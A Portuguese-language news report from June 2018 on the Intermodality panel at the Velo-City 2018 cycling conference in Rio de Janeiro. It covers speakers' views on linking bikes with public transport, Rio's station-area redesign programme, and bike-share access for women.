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Mobilidade 15.06.2018 — 8:26 am

Conexão entre meios requer espaços públicos e sistemas acessíveis

Felix Lima
Verena Andreatta no Velo-City 2018 / Foto Felix Lima

A integração entre modais é crucial para que as pessoas possam optar como vão percorrer os seus trajetos. Na prática, porém, trocar de meio costuma significar deslocamentos mais demorados e necessidade maior de planejamento do usuário para vencer a falta de conexão. O painel Intermodalidade (Intermodality), apresentado durante o Velo-City 2018 e parte do especial Esquina No Pedal, explorou os dois lados desta questão.

Intermodalidade / Velo-City 2018

😉AO VIVO 😉 Intermodality / Intermodalidade no Velo-City 2018 com Verena Andreatta, Lake Sagaris, Viviana Tobón e Pascal Smet #EsquinaNoPedalBio dos palestrantes: https://www.velo-city2018.rio/copia-speakers

Publicado por Esquina: Encontros sobre cidades em Quinta-feira, 14 de junho de 2018

 

“Em vez de ser uma virtude, a intermodalidade se mostra um acréscimo no tempo de viagem”, diz Viviana Tobón sobre a área de Medellín, Colômbia, onde atua. As bicicletas públicas compartilhadas estão presentes em apenas 26% das estações de transporte da região.

Verena Andreatta, que deixou a secretaria de Infraestrutura, Urbanismo e Habitação do Rio de Janeiro em março deste ano e atua como secretária municipal de Planejamento Urbano e Mobilidade de Niterói, apresentou dados sobre o município carioca e o programa Rio Conecta. O objetivo do projeto é a requalificação de áreas ao redor das estações de transporte. Ela diz que 74% das pessoas se deslocam diariamente pelas ruas e calçadas, o que torna fundamental melhorar os espaços públicos. Além disso, um em cada sete cariocas sofre de mobilidade reduzida, temporária ou permanente. E o Rio ainda tem uma grande proporção de idosos. “Temos de estar preparados para isso”, diz Verena.

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Para apresentar soluções, será lançado no segundo semestre deste ano um concurso público para que profissionais de arquitetura e urbanismo ajudem a prefeitura do Rio a desenvolver as áreas próximas a estações de metrô, BRT e trem. “Dados mostram que há manchas de calor nas áreas de maior intensidade de uso, e foi a partir deste critério que selecionamos 40 áreas para serem trabalhadas em concurso. Dividimos o programa por escala de intervenção e nível de complexidade”, afirma.

O projeto vai aprimorar a nova rede de transporte pública, criada a partir da Copa de 2014 e que inclui 400 estações. “A rede cobre muito bem a área do município. Quem se desloca até uma estação não precisa de um meio motorizado para chegar”, completa Verena.

Felix Lima

Lake Sagaris no Velo-City 2018 / Foto Felix Lima

 

A canadense Lake Sagaris, especialista em planejamento urbano inclusivo para ciclistas e em questões de gênero, defendeu que os sistemas de bicicleta compartilhada deem maior atenção às usuárias femininas. “Precisamos de sistemas de bicicleta que funcionem para todos. O único lugar que vi isso foi em Sevilla, com lugar onde mulheres possam colocar compras e crianças com segurança, e não uma cestinha”. E prossegue: “Temos de parar de nos ver como consumidores que querem bicicletas e pensar em como podermos ter a intermodalidade sendo usada para nos tornarmos independentes do carro”.

Felix Lima

Pascal Smet no Velo-City 2018 / Foto Felix Lima

 

Pascal Smet, ministro da Mobilidade e Obras Públicas de Bruxelas, enumerou transformações de locais onde os carros foram retirados e as pessoas ocuparam os espaços, tornando as cidades mais vivas e agradáveis. Ele citou ainda um sensor que funciona como contador de ciclistas, instalado em Copenhague para rebater quem diz que ninguém usa as ciclovias.

O Velo-City é o principal evento sobre bicicletas do mundo e acontece no Rio de Janeiro entre 12 e 15 de junho, no Píer Mauá, com patrocínio do Itaú-Unibanco.


#EsquinaNoPedal

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